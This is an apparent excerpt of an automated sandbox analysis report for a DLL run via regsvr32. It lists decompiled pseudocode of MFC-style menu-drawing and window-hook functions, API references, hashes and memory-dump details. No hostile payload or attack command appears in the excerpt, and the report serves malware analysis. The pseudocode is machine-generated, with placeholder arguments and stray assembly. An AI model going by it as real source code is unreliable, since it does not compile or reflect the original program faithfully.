Instruction Fuzzy Hash: E62148B55187848FD349DF28C44950BBBE0BB9C71CF404B1DF4CAAA254E778D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800114E0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368b00808317db0c6eeb343d8186a7244276256a6840569b6c411d0ec0a799d8
Instruction ID: ee7a5c55605f70149413f8e3af0e6ec11f73695024813da0f59b58ad8c18f4df
Opcode Fuzzy Hash: 368b00808317db0c6eeb343d8186a7244276256a6840569b6c411d0ec0a799d8
Instruction Fuzzy Hash: 8C2168B4529780AFC3D8DF28C48A91BBBF0BB89345F806A1DF9868B250D7B4D544CB06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006ADC Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ad924ac1c70926f7c8737274e40943dfa3bbe93137351e0d73c139ed4ccfd1
Instruction ID: cea8eadf7d8f236513ec499af8b1319631686979dd573ee505a4eea5fcff7e9c
Opcode Fuzzy Hash: 29ad924ac1c70926f7c8737274e40943dfa3bbe93137351e0d73c139ed4ccfd1
Instruction Fuzzy Hash: 4011CBB05483848BE388DF29C48A40FFBE2BBC1384F508A1DF4C2867A4D7B4D555CB46

Uniqueness

Uniqueness Score: -1.00%

Function 100520A0 Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100520A0(void* __edx, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, long long __rbp, signed short* __r8, void* __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t10;
				signed short* _t20;
				void* _t25;
				intOrPtr* _t28;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_t20 = __r8;
				_t25 = __r9;
				_t28 = __rcx;
				if(__r8 != __r9) {
					while(1) {
						r8d =  *_t20 & 0x0000ffff;
						_t10 =  *((intOrPtr*)( *_t28 + 0x10))();
						if(_t10 == 0) {
							goto L4;
						}
						_t20 =  &(_t20[1]);
						if(_t20 != _t25) {
							continue;
						}
						goto L4;
					}
				}
				L4:
				return _t10;
			}

0x100520a7
0x100520ac
0x100520b1
0x100520b6
0x100520bb
0x100520be
0x100520c4
0x100520c7
0x100520d0
0x100520d3
0x100520dd
0x100520e2
0x00000000
0x00000000
0x100520e4
0x100520eb
0x00000000
0x00000000
0x00000000
0x100520eb
0x100520d0
0x100520ed
0x10052108

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9d24bf13f9fd4a27dde1e4f56bed13b9940566c14222724c91354c6f5d0a6a
Instruction ID: 99cacec926433fe0a7ed4754d1c0e9549138cdf62f925e90e193d6b9f7c84fa4
Opcode Fuzzy Hash: ab9d24bf13f9fd4a27dde1e4f56bed13b9940566c14222724c91354c6f5d0a6a
Instruction Fuzzy Hash: 1AF05432A15B94828A50CF02A84005AF3B5F7A6FC0F586051FFC913B59CB3DC4658B04

Uniqueness

Uniqueness Score: -1.00%

Function 1002A318 Relevance: 45.9, APIs: 24, Strings: 2, Instructions: 414
windowCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E1002A318(void* __ecx, intOrPtr* __rax, void* __rcx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				int _t185;
				signed int _t193;
				signed int _t200;
				long _t242;
				long _t243;
				long _t257;
				long _t270;
				long _t281;
				long _t282;
				signed int _t296;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr _t316;
				long _t320;
				long _t336;
				void* _t341;
				int _t344;
				signed int _t350;
				intOrPtr* _t371;
				intOrPtr* _t372;
				void* _t378;
				long _t379;
				intOrPtr _t383;
				intOrPtr* _t410;
				intOrPtr* _t423;
				void* _t435;
				signed int _t436;
				void* _t438;
				void* _t439;
				void* _t440;
				void* _t444;
				void* _t445;
				intOrPtr* _t449;
				intOrPtr _t450;
				void* _t451;

				_t371 = __rax;
				 *((long long*)(_t440 + 0xb8)) = 0xfffffffe;
				_t451 = __rdx;
				_t435 = __rcx;
				_t450 =  *((intOrPtr*)(__rdx + 0x38));
				if(_t450 == 0) {
					L35:
					return _t185;
				}
				_t185 = E100263F8(_t378, _t450, 0x10096810);
				if(_t185 == 0) {
					goto L35;
				}
				_t441 = _t378;
				E1002E410(_t185, __ecx, 0, _t440 + 0xc0, 0x10096810, _t378);
				 *((intOrPtr*)(_t440 + 0xc0)) = 0x50;
				 *((intOrPtr*)(_t440 + 0xc4)) = 0x40;
				_t444 = _t440 + 0xc0;
				r8d = 0;
				_t313 =  *((intOrPtr*)(__rdx + 8));
				_t383 =  *((intOrPtr*)(__rcx + 8));
				_t185 = GetMenuItemInfoA(??, ??, ??, ??);
				if(_t185 == 0) {
					goto L35;
				}
				E10029288(_t185);
				_t447 = _t371;
				if((0 | _t371 != 0x00000000) == 0) {
					E10001000(0x80004005, _t313, _t371, _t378, _t383, __rcx, _t441, _t444);
					asm("int3");
				}
				_t372 =  *_t371;
				 *((intOrPtr*)(_t372 + 0x18))();
				_t12 = _t372 + 0x18; // 0x18
				_t379 = _t12;
				 *(_t440 + 0x70) = _t379;
				_t314 =  *((intOrPtr*)(_t440 + 0x100));
				if(( *((intOrPtr*)(_t379 - 0xc)) - _t314 | 0x00000001 -  *((intOrPtr*)(_t379 - 8))) < 0) {
					E1000E8B4(_t314, _t379, _t440 + 0x70, _t441, _t444);
					_t314 =  *((intOrPtr*)(_t440 + 0x100));
					_t379 =  *(_t440 + 0x70);
				}
				 *(_t440 + 0xf8) = _t379;
				 *((intOrPtr*)(_t440 + 0x100)) = _t314 + 1;
				_t445 = _t440 + 0xc0;
				r8d = 0;
				_t316 =  *((intOrPtr*)(_t451 + 8));
				_t385 =  *((intOrPtr*)(_t435 + 8));
				_t344 = GetMenuItemInfoA(??, ??, ??, ??);
				if(_t379 != 0) {
					_t385 = _t379;
					_t193 = E10031330(_t192, _t379);
					if(_t193 < 0) {
						goto L34;
					}
					goto L10;
				} else {
					_t193 = 0;
					L10:
					if(_t193 >  *((intOrPtr*)(_t379 - 0xc))) {
						L34:
						return E10001000(0x80070057, _t316, _t372, _t379, _t385, _t435, _t441, _t445);
					}
					 *(_t379 - 0x10) = _t193;
					 *((char*)(_t372 + _t379)) = 0;
					if(_t344 != 0) {
						CopyRect();
						GetObjectA(??, ??, ??);
						_t200 = GetSysColor(??);
						_t350 = _t200;
						 *(_t440 + 0x178) = _t200;
						r9d =  *((intOrPtr*)(_t440 + 0x7c));
						asm("cdq");
						r8d =  *(_t440 + 0x118);
						asm("cdq");
						_t296 =  *((intOrPtr*)(_t450 + 8)) + _t445 - 1;
						 *(_t440 + 0x54) = _t296;
						 *(_t440 + 0x50) = 0;
						 *((intOrPtr*)(_t440 + 0x58)) =  *((intOrPtr*)(_t440 + 0x114)) + 1;
						 *(_t440 + 0x5c) = _t440 + 0x111 + _t296;
						E1000F604(0x50, 0x20, _t372,  *((intOrPtr*)(_t451 + 0x20)), _t451 + 0x28, _t440 + 0x110, _t445, _t447);
						_t449 = _t372;
						 *((intOrPtr*)(_t440 + 0x180)) =  *((intOrPtr*)( *_t372 + 0x38))();
						_t443 =  *_t449;
						 *((intOrPtr*)( *_t449 + 0x50))();
						r8d =  *(_t379 - 0x10);
						GetTextExtentPoint32A(??, ??, ??, ??);
						if(( *(_t451 + 0x10) & 0x00000001) == 0) {
							r8d = _t350;
							E10018920(_t449, _t451 + 0x28);
							_t447 =  *_t449;
							 *((intOrPtr*)( *_t449 + 0x58))();
							if(( *(_t451 + 0x10) & 0x00000002) == 0) {
								if(( *(_t451 + 0x10) & 0x00000008) != 0) {
									_t242 = GetSysColor();
									_t243 = GetSysColor(??);
									_t129 = _t438 + 1; // 0x1
									r9d = _t129;
									 *(_t440 + 0x30) = _t242;
									 *(_t440 + 0x28) = _t243;
									 *(_t440 + 0x20) = _t439 + 1;
									r8d =  *(_t440 + 0x54);
									E10018F54( *(_t440 + 0x50), _t242, _t449);
									_t350 =  *(_t440 + 0x178);
								}
								 *((intOrPtr*)( *_t449 + 0x58))();
								_t436 =  *_t449;
								_t320 = GetSysColor(??);
								 *((intOrPtr*)(_t436 + 0x60))();
								asm("cdq");
								r8d =  *(_t440 + 0x5c) -  *(_t440 + 0x54) - _t320 >> 1;
								asm("cdq");
								r8d = r8d - ( *((intOrPtr*)(_t440 + 0x18c)) - _t320 >> 1);
								r8d = r8d +  *(_t440 + 0x54);
								_t341 = 0;
								 *(_t440 + 0x38) = _t436;
								 *(_t440 + 0x30) =  *(_t379 - 0x10);
								 *(_t440 + 0x28) = _t379;
								 *(_t440 + 0x20) = _t436;
								_t148 = _t436 + 2; // 0x2
								r9d = _t148;
								ExtTextOutA(??, ??, ??, ??, ??, ??, ??, ??);
							} else {
								GetSysColor();
								 *((intOrPtr*)( *_t449 + 0x60))();
								_t410 = _t449;
								E1000ED70(1, _t410);
								asm("cdq");
								asm("cdq");
								r8d = _t372 + _t410 + 1;
								 *(_t440 + 0x38) = 0;
								 *(_t440 + 0x30) =  *(_t379 - 0x10);
								 *(_t440 + 0x28) = _t379;
								 *(_t440 + 0x20) = 0;
								r9d = 2;
								ExtTextOutA(??, ??, ??, ??, ??, ??, ??, ??);
								_t436 =  *_t449;
								_t257 = GetSysColor(??);
								 *((intOrPtr*)(_t436 + 0x60))();
								asm("cdq");
								r8d =  *(_t440 + 0x5c) -  *(_t440 + 0x54) - _t257 >> 1;
								r8d = r8d - ( *((intOrPtr*)(_t440 + 0x18c)) - 1 >> 1);
								r8d = r8d +  *(_t440 + 0x54);
								_t341 = 0;
								 *(_t440 + 0x38) = _t436;
								 *(_t440 + 0x30) =  *(_t379 - 0x10);
								 *(_t440 + 0x28) = _t379;
								 *(_t440 + 0x20) = _t436;
								r9d = 0;
								ExtTextOutA(??, ??, ??, ??, ??, ??, ??, ??);
							}
						} else {
							CopyRect();
							r11d =  *((intOrPtr*)(_t440 + 0x58));
							r11d = r11d + 2;
							 *((intOrPtr*)(_t440 + 0x88)) = r11d;
							r8d = GetSysColor(??);
							E10018920(_t449, _t440 + 0x88);
							if(( *(_t451 + 0x10) & 0x0000000a) == 0) {
								_t281 = GetSysColor();
								_t282 = GetSysColor(??);
								_t68 = _t438 + 1; // 0x1
								r9d = _t68;
								 *(_t440 + 0x30) = _t281;
								 *(_t440 + 0x28) = _t282;
								 *(_t440 + 0x20) = _t439 + 1;
								r8d =  *(_t440 + 0x54);
								E10018F54( *(_t440 + 0x50), _t281, _t449);
								_t350 =  *(_t440 + 0x178);
							}
							_t436 =  *_t449;
							GetSysColor(??);
							 *((intOrPtr*)(_t436 + 0x58))();
							if(( *(_t451 + 0x10) & 0x00000002) == 0) {
								_t270 = GetSysColor();
							} else {
								_t270 = _t350;
							}
							_t443 =  *_t449;
							_t336 = _t270;
							 *((intOrPtr*)( *_t449 + 0x60))();
							asm("cdq");
							r8d =  *(_t440 + 0x5c) -  *(_t440 + 0x54) - _t336 >> 1;
							asm("cdq");
							r8d = r8d - ( *((intOrPtr*)(_t440 + 0x18c)) - _t336 >> 1);
							r8d = r8d +  *(_t440 + 0x54);
							_t341 = 0;
							 *(_t440 + 0x38) = _t436;
							 *(_t440 + 0x30) =  *(_t379 - 0x10);
							 *(_t440 + 0x28) = _t379;
							 *(_t440 + 0x20) = _t436;
							_t90 = _t436 + 2; // 0x2
							r9d = _t90;
							ExtTextOutA(??, ??, ??, ??, ??, ??, ??, ??);
						}
						 *(_t440 + 0x68) = _t436;
						 *((long long*)(_t440 + 0x60)) = 0x10057ce8;
						if(( *(_t451 + 0x10) & 0x00000002) == 0) {
							if(( *(_t451 + 0x10) & 0x00000008) != 0) {
								r9d = 0xffffff;
								r8d = _t350;
								E100102D4(0x50, _t450, _t440 + 0x60, _t443);
								_t450 = _t440 + 0x60;
							}
						} else {
							r8d = _t350;
							E1000FDC8(0x50, _t341, _t450, _t440 + 0x60, _t443);
							_t450 = _t440 + 0x60;
						}
						E1000F088(_t440 + 0x98);
						CreateCompatibleDC(??);
						E1000F628(0x50, 0x10057ce8, _t440 + 0x98, 0x10057ce8, _t443, _t447);
						if(_t450 != 0) {
						}
						E1000FB3C(0x10057ce8);
						r8d = 0xffffffff;
						InflateRect(??, ??, ??);
						 *((intOrPtr*)(_t440 + 0x40)) = 0xcc0020;
						 *(_t440 + 0x38) = 0;
						 *(_t440 + 0x30) = 0;
						 *(_t440 + 0x28) =  *((intOrPtr*)(_t440 + 0xa0));
						 *(_t440 + 0x20) =  *(_t440 + 0x5c);
						r9d =  *((intOrPtr*)(_t440 + 0x58));
						r8d =  *(_t440 + 0x54);
						BitBlt(??, ??, ??, ??, ??, ??, ??, ??, ??);
						 *((intOrPtr*)( *_t449 + 0x40))();
						E1000F6C0(_t440 + 0x98);
						 *((long long*)(_t440 + 0x60)) = 0x10057ca8;
						E1000FAF0(0x10057ca8, _t440 + 0x60);
					}
					_t183 = _t379 - 0x18; // 0x0
					_t423 = _t183;
					asm("lock xadd [edx+0x10], eax");
					_t185 = 0x1fffffffe;
					if(0xffffffff > 0) {
						goto L35;
					} else {
						return  *((intOrPtr*)( *((intOrPtr*)( *_t423)) + 8))();
					}
				}
			}

0x1002a318
0x1002a32a
0x1002a336
0x1002a339
0x1002a33c
0x1002a343
0x1002a9a3
0x1002a9a3
0x1002a9a3
0x1002a353
0x1002a35a
0x00000000
0x00000000
0x1002a365
0x1002a372
0x1002a377
0x1002a37e
0x1002a389
0x1002a391
0x1002a394
0x1002a398
0x1002a39c
0x1002a3a4
0x00000000
0x00000000
0x1002a3aa
0x1002a3af
0x1002a3bc
0x1002a3c3
0x1002a3c8
0x1002a3c8
0x1002a3c9
0x1002a3cf
0x1002a3d2
0x1002a3d2
0x1002a3d6
0x1002a3e6
0x1002a3f1
0x1002a3f8
0x1002a3fd
0x1002a404
0x1002a404
0x1002a409
0x1002a414
0x1002a41b
0x1002a423
0x1002a426
0x1002a42a
0x1002a434
0x1002a439
0x1002a43f
0x1002a442
0x1002a449
0x00000000
0x00000000
0x00000000
0x1002a43b
0x1002a43b
0x1002a44f
0x1002a452
0x1002a987
0x00000000
0x1002a98c
0x1002a458
0x1002a45d
0x1002a463
0x1002a472
0x1002a489
0x1002a494
0x1002a49a
0x1002a49c
0x1002a4aa
0x1002a4b2
0x1002a4b9
0x1002a4c4
0x1002a4cb
0x1002a4d0
0x1002a4d4
0x1002a4e6
0x1002a4f0
0x1002a4f8
0x1002a4fd
0x1002a509
0x1002a510
0x1002a51b
0x1002a527
0x1002a533
0x1002a53e
0x1002a670
0x1002a67a
0x1002a67f
0x1002a688
0x1002a691
0x1002a77b
0x1002a792
0x1002a79f
0x1002a7a8
0x1002a7a8
0x1002a7ac
0x1002a7b0
0x1002a7b4
0x1002a7b8
0x1002a7c4
0x1002a7c9
0x1002a7c9
0x1002a7d9
0x1002a7dc
0x1002a7eb
0x1002a7f0
0x1002a7fb
0x1002a800
0x1002a80a
0x1002a80f
0x1002a812
0x1002a821
0x1002a823
0x1002a828
0x1002a82c
0x1002a831
0x1002a836
0x1002a836
0x1002a83f
0x1002a697
0x1002a6a0
0x1002a6ab
0x1002a6b3
0x1002a6b6
0x1002a6c2
0x1002a6d3
0x1002a6da
0x1002a6e9
0x1002a6f2
0x1002a6f6
0x1002a6fb
0x1002a704
0x1002a70f
0x1002a715
0x1002a71e
0x1002a729
0x1002a734
0x1002a739
0x1002a73c
0x1002a73f
0x1002a74e
0x1002a750
0x1002a755
0x1002a759
0x1002a75e
0x1002a763
0x1002a76b
0x1002a76b
0x1002a544
0x1002a550
0x1002a556
0x1002a55b
0x1002a55f
0x1002a572
0x1002a580
0x1002a58a
0x1002a5a1
0x1002a5ae
0x1002a5b7
0x1002a5b7
0x1002a5bb
0x1002a5bf
0x1002a5c3
0x1002a5c7
0x1002a5d3
0x1002a5d8
0x1002a5d8
0x1002a5df
0x1002a5e8
0x1002a5f3
0x1002a5fb
0x1002a606
0x1002a5fd
0x1002a5fd
0x1002a5fd
0x1002a60c
0x1002a610
0x1002a615
0x1002a621
0x1002a626
0x1002a630
0x1002a635
0x1002a638
0x1002a647
0x1002a649
0x1002a64e
0x1002a652
0x1002a657
0x1002a65c
0x1002a65c
0x1002a665
0x1002a665
0x1002a845
0x1002a851
0x1002a85b
0x1002a879
0x1002a87b
0x1002a881
0x1002a88c
0x1002a891
0x1002a891
0x1002a85d
0x1002a85d
0x1002a868
0x1002a86d
0x1002a86d
0x1002a89e
0x1002a8a6
0x1002a8b7
0x1002a8bf
0x1002a8bf
0x1002a8d1
0x1002a8db
0x1002a8e3
0x1002a8e9
0x1002a8f1
0x1002a8f9
0x1002a909
0x1002a912
0x1002a916
0x1002a91b
0x1002a929
0x1002a93d
0x1002a94a
0x1002a957
0x1002a961
0x1002a961
0x1002a967
0x1002a967
0x1002a970
0x1002a975
0x1002a97a
0x00000000
0x1002a97c
0x00000000
0x1002a982
0x1002a97a

APIs

GetMenuItemInfoA.USER32 ref: 1002A39C
GetMenuItemInfoA.USER32 ref: 1002A42E
CopyRect.USER32 ref: 1002A472
GetObjectA.GDI32 ref: 1002A489
GetSysColor.USER32 ref: 1002A494
GetTextExtentPoint32A.GDI32 ref: 1002A533
CopyRect.USER32 ref: 1002A550
GetSysColor.USER32 ref: 1002A56C
GetSysColor.USER32 ref: 1002A5A1
GetSysColor.USER32 ref: 1002A5AE
GetSysColor.USER32 ref: 1002A5E8
GetSysColor.USER32 ref: 1002A606

Part of subcall function 10018920: SetBkColor.GDI32 ref: 10018955
Part of subcall function 10018920: ExtTextOutA.GDI32 ref: 10018989

ExtTextOutA.GDI32 ref: 1002A665
GetSysColor.USER32 ref: 1002A6A0

Part of subcall function 1000ED70: SetBkMode.GDI32 ref: 1000ED88
Part of subcall function 1000ED70: SetBkMode.GDI32 ref: 1000ED99

ExtTextOutA.GDI32 ref: 1002A70F
GetSysColor.USER32 ref: 1002A71E
ExtTextOutA.GDI32 ref: 1002A76B
GetSysColor.USER32 ref: 1002A792
GetSysColor.USER32 ref: 1002A79F
GetSysColor.USER32 ref: 1002A7E5
ExtTextOutA.GDI32 ref: 1002A83F
CreateCompatibleDC.GDI32 ref: 1002A8A6
InflateRect.USER32 ref: 1002A8E3
BitBlt.GDI32 ref: 1002A929

Strings

, xrefs: 1002A8E9
@, xrefs: 1002A37E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Color$Text$Rect$CopyInfoItemMenuMode$CompatibleCreateExtentInflateObjectPoint32
String ID: $@
API String ID: 4019356144-1077428164
Opcode ID: 6a197f8253d015ebfcb87df3315c490cf63392e59c48e70c36e0b7fe14381132
Instruction ID: df2605f701fe36d28c5829cf66a20577c6bf1a6854ef04de20786c3f01afe25d
Opcode Fuzzy Hash: 6a197f8253d015ebfcb87df3315c490cf63392e59c48e70c36e0b7fe14381132
Instruction Fuzzy Hash: 61026E362046808BD725CF29F84879EB7A1F789B94F458215EF8987B58DF78D989CF00

Uniqueness

Uniqueness Score: -1.00%

Function 1001675C Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E1001675C(void* __ebx, void* __ecx, void* __edx, void* __rdx, intOrPtr* __r8, void* __r9, void* __r11) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				int _t37;
				int _t46;
				signed int _t47;
				void* _t71;
				signed long long _t73;
				signed long long _t77;
				signed long long _t78;
				void* _t80;
				signed long long _t115;
				intOrPtr _t116;
				signed long long _t117;
				signed long long _t118;
				intOrPtr* _t119;
				signed long long _t122;
				void* _t131;
				intOrPtr* _t137;

				_t134 = __r11;
				_t131 = __r9;
				_t123 = __r8;
				_t62 = __edx;
				_t57 = __ebx;
				 *((long long*)(_t122 + 0x40)) = 0xfffffffe;
				_t77 =  *0x100b1640; // 0xf93099fb11e7
				_t78 = _t77 ^ _t122;
				 *(_t122 + 0x1b0) = _t78;
				_t137 = __r8;
				_t80 = __rdx;
				_t71 = __ecx;
				_t105 = 0x1000e3c8;
				E10028D48(__ebx, __ecx, __edx, __ecx, 0x100b7240, 0x1000e3c8, __r8, __r9, __r11);
				_t115 = _t78;
				_t73 = _t78;
				_t60 = 0 | _t73 == 0x00000000;
				if(_t73 == 0) {
					E1000E3A4();
					asm("int3");
				}
				if(_t71 == 3) {
					_t116 =  *_t137;
					_t119 =  *(_t78 + 0x28);
					_t37 = E1001A994(_t57, _t62, _t71, _t78, _t123, _t131, _t134);
					r13d =  *(_t78 + 0x28) & 0x000000ff;
					__eflags = _t119;
					if(__eflags != 0) {
						L7:
						__eflags =  *0x100b7684;
						if(__eflags == 0) {
							L12:
							__eflags = _t119;
							if(_t119 == 0) {
								__eflags =  *0x100b71f8;
								if( *0x100b71f8 != 0) {
									L22:
									__imp__GetClassLongPtrA();
									__eflags = _t37 -  *0x100b71f8;
									if(_t37 ==  *0x100b71f8) {
										L27:
										CallNextHookEx();
										__eflags = r13d;
										if(r13d != 0) {
											UnhookWindowsHookEx();
											 *((long long*)(_t115 + 0x48)) = 0;
										}
										goto L30;
									}
									L23:
									__imp__GetWindowLongPtrA();
									_t117 = _t78;
									__eflags = _t78;
									if(_t78 != 0) {
										GetPropA();
										__eflags = _t78;
										if(_t78 == 0) {
											SetPropA();
											GetPropA(??, ??);
											__eflags = _t78 - _t117;
											if(_t78 == _t117) {
												GlobalAddAtomA();
												__imp__SetWindowLongPtrA();
											}
										}
									}
									goto L27;
								}
								E1002E410(_t37, _t60, 0, _t122 + 0x50, _t105, _t116);
								 *((intOrPtr*)(_t122 + 0x50)) = 0x50;
								_t128 = _t122 + 0x50;
								_t60 = 0;
								_t37 = E10012100(_t57, 0, 0x50, _t78, _t122 + 0x50, "#32768", _t122 + 0x50, _t131, _t134);
								 *0x100b71f8 = _t37;
								__eflags = _t37;
								if(_t37 != 0) {
									goto L22;
								}
								r8d = 0x100;
								_t46 = GetClassNameA(??, ??, ??);
								__eflags = _t46;
								if(_t46 == 0) {
									goto L23;
								}
								 *((char*)(_t122 + 0x1af)) = 0;
								_t47 = E100326F0(_t78, _t80, _t122 + 0xb0, "#32768", _t115, _t116, _t128, _t137);
								__eflags = _t47;
								if(_t47 == 0) {
									goto L27;
								}
								goto L23;
							}
							E1001AA10(_t78, _t122 + 0x30,  *((intOrPtr*)(_t119 + 0x38)), _t123);
							E100143C8(_t57, _t62, _t78, _t119, _t80, _t123, _t131, _t134);
							 *((intOrPtr*)( *_t119 + 0xa0))();
							 *((intOrPtr*)( *_t119 + 0x1e0))();
							_t118 = _t78;
							__imp__SetWindowLongPtrA();
							__eflags = _t78 - 0x10014f9c;
							if(_t78 != 0x10014f9c) {
								 *_t118 = _t78;
							}
							 *((long long*)(_t115 + 0x28)) = 0;
							__eflags =  *(_t122 + 0x38);
							if( *(_t122 + 0x38) != 0) {
								_t60 = 0;
								E10019CD0(_t78);
							}
							goto L27;
						}
						GetClassLongA();
						asm("bt eax, 0x10");
						if(__eflags < 0) {
							goto L27;
						}
						_t123 =  *((intOrPtr*)(_t116 + 0x40));
						__eflags =  *((intOrPtr*)(_t116 + 0x40)) - 0xffff;
						if( *((intOrPtr*)(_t116 + 0x40)) <= 0xffff) {
							 *((char*)(_t122 + 0xa0)) = 0;
							r8d = 5;
							_t105 = _t122 + 0xa0;
							GlobalGetAtomNameA(??, ??, ??);
							_t123 = _t122 + 0xa0;
						}
						r9d = 0xffffffff;
						 *((intOrPtr*)(_t122 + 0x28)) = r9d;
						_t78 = "ime";
						 *(_t122 + 0x20) = _t78;
						_t62 = _t131 + 2;
						_t60 = 0x409;
						_t37 = CompareStringA(??, ??, ??, ??, ??, ??);
						__eflags = _t37 - 2;
						if(_t37 == 2) {
							goto L27;
						}
						goto L12;
					}
					asm("bt dword [esi+0x30], 0x1e");
					if(__eflags < 0) {
						goto L27;
					}
					__eflags = r13d;
					if(r13d != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx();
					L30:
					return E1002FF40(_t60,  *(_t122 + 0x1b0) ^ _t122);
				}
			}

0x1001675c
0x1001675c
0x1001675c
0x1001675c
0x1001675c
0x1001676c
0x10016775
0x1001677c
0x1001677f
0x10016787
0x1001678a
0x1001678d
0x1001678f
0x1001679d
0x100167a2
0x100167a7
0x100167aa
0x100167af
0x100167b1
0x100167b6
0x100167b6
0x100167ba
0x100167d3
0x100167d7
0x100167db
0x100167e0
0x100167e5
0x100167e8
0x100167fe
0x100167fe
0x10016805
0x10016883
0x10016883
0x10016886
0x10016905
0x1001690d
0x10016987
0x1001698f
0x10016995
0x1001699c
0x10016a0a
0x10016a19
0x10016a22
0x10016a25
0x10016a2b
0x10016a31
0x10016a31
0x00000000
0x10016a39
0x1001699e
0x100169a6
0x100169ac
0x100169af
0x100169b2
0x100169c1
0x100169c7
0x100169ca
0x100169d5
0x100169e1
0x100169e7
0x100169ea
0x100169ef
0x10016a04
0x10016a04
0x100169ea
0x100169ca
0x00000000
0x100169b2
0x1001691e
0x10016923
0x10016927
0x10016933
0x10016935
0x1001693a
0x10016941
0x10016944
0x00000000
0x00000000
0x10016946
0x10016957
0x1001695d
0x1001695f
0x00000000
0x00000000
0x10016961
0x10016978
0x1001697d
0x1001697f
0x00000000
0x00000000
0x00000000
0x10016985
0x10016891
0x1001689d
0x100168a9
0x100168b7
0x100168be
0x100168d3
0x100168d9
0x100168dc
0x100168de
0x100168de
0x100168e1
0x100168e9
0x100168ee
0x100168f9
0x100168fb
0x100168fb
0x00000000
0x100168ee
0x1001680f
0x10016815
0x10016819
0x00000000
0x00000000
0x1001681f
0x10016823
0x1001682a
0x1001682c
0x10016834
0x1001683a
0x10016846
0x1001684c
0x1001684c
0x10016854
0x1001685a
0x1001685f
0x10016866
0x1001686b
0x1001686f
0x10016874
0x1001687a
0x1001687d
0x00000000
0x00000000
0x00000000
0x1001687d
0x100167ea
0x100167ef
0x00000000
0x00000000
0x100167f5
0x100167f8
0x00000000
0x00000000
0x00000000
0x100167bc
0x100167c8
0x10016a3c
0x10016a5b
0x10016a5b

APIs

Part of subcall function 10028D48: EnterCriticalSection.KERNEL32 ref: 10028DCB
Part of subcall function 10028D48: TlsGetValue.KERNEL32 ref: 10028DDD
Part of subcall function 10028D48: LeaveCriticalSection.KERNEL32 ref: 10028DF9

CallNextHookEx.USER32 ref: 100167C8
GetClassLongA.USER32 ref: 1001680F
GlobalGetAtomNameA.KERNEL32 ref: 10016846
CompareStringA.KERNEL32 ref: 10016874
SetWindowLongPtrA.USER32 ref: 100168D3
GetClassNameA.USER32 ref: 10016957
GetClassLongPtrA.USER32 ref: 1001698F
GetWindowLongPtrA.USER32 ref: 100169A6
GetPropA.USER32 ref: 100169C1
SetPropA.USER32 ref: 100169D5
GetPropA.USER32 ref: 100169E1
GlobalAddAtomA.KERNEL32 ref: 100169EF
SetWindowLongPtrA.USER32 ref: 10016A04

Part of subcall function 10012100: GetClassInfoExA.USER32 ref: 1001214D
Part of subcall function 10012100: GetLastError.KERNEL32 ref: 10012169
Part of subcall function 10012100: SetLastError.KERNEL32 ref: 10012187

CallNextHookEx.USER32 ref: 10016A19
UnhookWindowsHookEx.USER32 ref: 10016A2B

Strings

ime, xrefs: 1001685F
#32768, xrefs: 1001692C, 10016969
AfxOldWndProc423, xrefs: 100169B4

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
